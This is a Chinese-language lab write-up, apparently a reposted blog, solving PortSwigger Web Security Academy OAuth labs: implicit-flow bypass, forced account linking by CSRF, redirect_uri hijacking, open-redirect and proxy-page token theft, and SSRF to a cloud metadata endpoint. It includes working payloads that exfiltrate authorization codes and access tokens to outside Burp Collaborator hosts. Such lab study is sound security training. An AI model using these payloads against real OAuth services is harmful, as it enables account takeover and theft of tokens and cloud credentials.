Portswigger-web-security-academy：OAth authentication vulnerable

时间：2020-12-24 00:56:22 阅读：28 评论：0 收藏：0 [点我收藏+]

OAth authentication vulnerable

OAth authentication vulnerable

学习材料李OAuth的介绍很详细，建议仔细阅读之后再做题

Authentication bypass via OAuth implicit flow

? 隐式授权的不正确实现

题目描述
- 这个lab使用了OAuth来允许用户通过社交帐号登录
- 有缺陷的验证会导致任意账户登录（不需要使用密码）
- 要求登录carlos的账号，邮箱为carlos@carlos-montoya.net ，可以使用wiener:peter登录自己的账号

解题过程

材料里列举了OAuth通常的实现方法：
- 选择使用社交帐号登录
- 使用社交软件的OAuth服务来请求获取一些可以确认用户身份的数据（可能是email等）
- 收到访问令牌就可以访问API来获取数据
因为题目给了一个可登录账号，所以可能的漏洞点在第二步：确认用户身份的数据，猜测为任意用户登录/密码重置一样的逻辑漏洞
按照登录逻辑登录，并留意请求包中是否包含用户名/email等信息

/oauth-callback的返回包：（其中包含了一个使用社交应用 access token和用户username email确定用户身份的JS脚本，其中存在逻辑漏洞，详见注释

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 728

<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get(‘access_token‘); //从url中获取token
fetch(‘https://acc31f4a1e85afa38062314a029900a0.web-security-academy.net/me‘, {
    method: ‘GET‘,
    headers: {
        ‘Authorization‘: ‘Bearer ‘ + token,
        ‘Content-Type‘: ‘application/json‘
    }
})
/* 
使用access_token访问/me 检验access_token是否有效并获取用户信息
返回：
{"sub":"wiener","name":"Peter Wiener","email":"wiener@hotdog.com","email_verified":true}
*/
.then(r => r.json())
.then(j => 
    fetch(‘/authenticate‘, {
        method: ‘POST‘,
        headers: {
            ‘Accept‘: ‘application/json‘,
            ‘Content-Type‘: ‘application/json‘
        },
        body: JSON.stringify({
            email: j.email,
            username: j.sub,
            token: token
        })
    }).then(r => document.location = ‘/‘))
/* 
使用email username和token来登录对应账号
注意这里的登录要素：有效的一对email+username，有效的token
并没有检验email+username和token是否一致
*/
</script>

只需要在/authenticate请求中，把uesername和email修改为目标账户即可

Forced OAuth profile linking

题目描述
- 提供了绑定社交应用账号的选项
- 要求使用CSRF绑定admin账号并删除carlos账号（通过exploit server 发送的所有信息，admin都会查看）
  - Blog website account: wiener:peter
  - Social media profile: peter.wiener:hotdog
解题过程
- 先按照正常流程绑定一遍社交帐号，然后在proxy的history里挨着看一遍数据包，
  - 在点击continue之前，为社交帐号登录
  - 点击continue之后，为社交帐号绑定，即/interaction/access_token/confirm开始，共有三个请求
    - /interaction/access_token/confirm 确认登录
    - /auth/access_token 验证账号，获取Auth_code
    - /oauth-linking?code=Auth_code 绑定账号
- 获取Auth_code并构造绑定账号的链接
  - 返回包中的链接就是绑定社交帐号的请求链接（copy，不要访问）
- 会手动构造csrf，写一个fetch就行，不会的话，可以用burp自带的工具
  - 在proxy history里找到之前访问/oauth-linking?code=xxxx的记录，发送到repeater
  - 右键Engagement tools --> generate CSRF Poc
  - 替换其中的code即可
- 把构造好的exp通过exploit server 发送出去
- log out 然后 login with social media就是admin账号了
- 之后删除carlos就行

OAuth account hijacking via redirect_uri

题目描述
- 可以使用OAuth登录
- OAuth的错误配置允许攻击者盗取authorization codes
- 要求盗取admin的authorization codes并删除carlos
- wiener:peter
解题过程
- 还是先按照正常流程走一遍，分析http请求包
  - 发现在绑定账号后，通过/auth?client_id=xxxxxxxx可以直接登录
- 那么我们只需要获取/oauth-callback?code=之后的code值即可
- 构造csrf （使用burp collaborator 接收）
  - 原本想用fetch实现，但发现用来验证身份的cookie是http-only，无法读取，所以需要换成iframe
  - 其中redirect_uri为collaborator
  - ```
  <iframe src="https://ac1c1f9a1e812da680660b59027100d7.web-security-academy.net/auth?client_id=wyudc1y707emms8srw3vt&redirect_uri=https://7w4r76gvoikrbivjm9oa8xfqghm7aw.burpcollaborator.net/oauth-callback&response_type=code&scope=openid%20profile%20email">
  </iframe>
```
- 成功获取到code
- 利用code登录admin账号，删除carlos即可

Stealing OAuth access tokens via an open redirect

题目描述
- 同上的OAuth
- 要求寻找开放的重定向，并登录admin，提交admin的API
解题过程
- 还是一样，先按业务流程走一遍
  - auth获取token
  - authentication登录获取session
- 试一下上一题的payload
  - https://ac7a1fe71f60c6308069006c023e0089.web-security-academy.net/auth?client_id=zje1bppn7am80shrxx6rx&redirect_uri=https://2ehqip1ses301do6n88hj93yfplf94.burpcollaborator.net/oauth-callback&response_type=token&scope=openid%20profile%20email
    
    被告知redirect_uri不符合
  - 之后使用@/xip.io/#尝试过，都不行
- 想起来之前学习材料里提到的目录穿越和可控开放的重定向
  - 发现/oauth-callback/../可通过，并且直接访问，会跳转到/，说明存在目录穿越
  - 在站点中找到一个可控重定向，可以实现任意url跳转 /post/next?path=http://www.baidu.com"
- 结合起来，构造payload
  - https://ac7a1fe71f60c6308069006c023e0089.web-security-academy.net/auth?client_id=zje1bppn7am80shrxx6rx&redirect_uri=https://2ehqip1ses301do6n88hj93yfplf94.burpcollaborator.net/oauth-callback/../post/next?path=http://xxxxxxxxx&response_type=token&scope=openid%20profile%20email
  - 因为
```
<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get(‘access_token‘);
fetch(‘https://ac7a1fe71f60c6308069006c023e0089.web-security-academy.net/me‘, {
    method: ‘GET‘,
    headers: {
        ‘Authorization‘: ‘Bearer ‘ + token,
        ‘Content-Type‘: ‘application/json‘
    }
})
.then(r => r.json())
.then(j => 
    fetch(‘/authenticate‘, {
        method: ‘POST‘,
        headers: {
            ‘Accept‘: ‘application/json‘,
            ‘Content-Type‘: ‘application/json‘
        },
        body: JSON.stringify({
            email: "wiener@hotdog.com",
            username: "wiener",
            token: token
        })
    }).then(r => document.location = ‘/‘))
</script>
```
    这个脚本可以获取API，所以，思路是：admin访问exploit --> 获取token --> 执行上面的脚本 --> 获取API
  - 获取token（这里不能用fetch，fetch不会跟踪跳转）
```
<script>
  if (!document.location.hash) {
    window.location = ‘https://ac7a1fe71f60c6308069006c023e0089.web-security-academy.net/auth?client_id=zje1bppn7am80shrxx6rx&redirect_uri=https://ac9f1fd11f57c688806500e100bd004d.web-security-academy.net/oauth-callback/../post/next?path=https://acc01fc71f55c61980760077016a0026.web-security-academy.net/exploit&response_type=token&scope=openid%20profile%20email‘
  } else {
    window.location = ‘http://ne5bia1ded3l1yornt82ju3jfal39s.burpcollaborator.net/?‘+document.location.hash.substr(1)
  }
</script>
```
- 登录admin
  - 在authenticate中修改token，就可以以admin身份登录
- 获取API key
  - 上面脚本里第一个fetch就会返回API，只需要替换token即可

Stealing OAuth access tokens via a proxy page

题目描述
- EXPERT难度
- 验证有缺陷的OAuth可以使攻击者泄露任意页面的访问token
- 要求，验证一个次要的漏洞，并以此为代理，来盗取admin的token，并提交admin的API key
- wiener:peter

解题过程

按照正常业务流程走一遍，交互和上一题一样

目录穿越仍可用，但是没有了url跳转功能
看包的时候，发现了一个新的url（获取评论表单）

所有功能点都测试过，没有漏洞，唯一可利用的就是目录穿越和评论表单

看一下评论表单的js代码

<script>
parent.postMessage({type: ‘onload‘, data: window.location.href}, ‘*‘)
//postMessage在加载出js的时候会执行
// *表示可以把消息传递给任何域，内容为第一个参数（{type: ‘onload‘, data: window.location.href}）
    

    //submitForm 在点击提交的时候会执行（表单自动提交需要修改html，但html不可控，所以不做考虑
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: ‘oncomment‘, content: o}, ‘*‘);
        form.reset();
    }
</script>

根据MDN文档，在父页面写一个事件监听器，结合MessageEvent的文档从message中拿到数据

<iframe src="https://ace31f1c1fb53c36807f0bf400190021.web-security-academy.net/post/comment/comment-form?test=test"></iframe>
<script>
window.addEventListener(‘message‘,function(e){
                alert(e.data.type + ‘ & ‘ + e.data.data);
            },false);
</script>

技术分享图片

可以看到完成了消息传递

构造payload

iframe访问/auth 跳转到评论表单，评论表单把url传给父标签（exploit网页），然后传出来

<iframe src="https://ac901f8d1fbb3cc980390b760276004f.web-security-academy.net/auth?client_id=fnyh4rqphiataostnsc4a&redirect_uri=https://ace31f1c1fb53c36807f0bf400190021.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=906061500&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener(‘message‘,function(e){
                // alert(e.data.type + ‘ & ‘ + e.data.data);
    fetch(‘http://9oylooktp8m9mzvpgua9khcphgn6bv.burpcollaborator.net‘, {
        method: ‘POST‘,
        body: e.data.data,
},false);
});
</script>

技术分享图片

SSRF via OpenID dynamic client registration

题目描述
- 允许通过OAuth专用端点进行动态注册
- 存在SSRF
- 要求构造一个SSRF访问http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ ，并且盗取OAuth服务云环境的secret key
- wiener:peter to log in
解题过程
- 这道题应该是SSRF里的，学习材料里没有，有点懵，不清楚问题在哪，测了一遍也没有漏洞
  - 按照solution做了一遍（原来有/.well-known/openid-configuration这么个东西）
- 获取endpoint URL表
- 通过/reg注册客户端id JQ1KS1wFMAt8YLPuFSIOr
- 访问/client/JQ1KS1wFMAt8YLPuFSIOr/logo进行ssrf（证明ssrf可行）
- 构造请求，访问要求链接

Portswigger-web-security-academy：OAth authentication vulnerable

原文：https://www.cnblogs.com/R3col/p/14181709.html

踩

(0)

评论一句话评论（0）

分享档案

更多>

2021年09月23日 (328)
2021年09月24日 (313)
2021年09月17日 (191)
2021年09月15日 (369)
2021年09月16日 (411)
2021年09月13日 (439)
2021年09月11日 (398)
2021年09月12日 (393)
2021年09月10日 (160)
2021年09月08日 (222)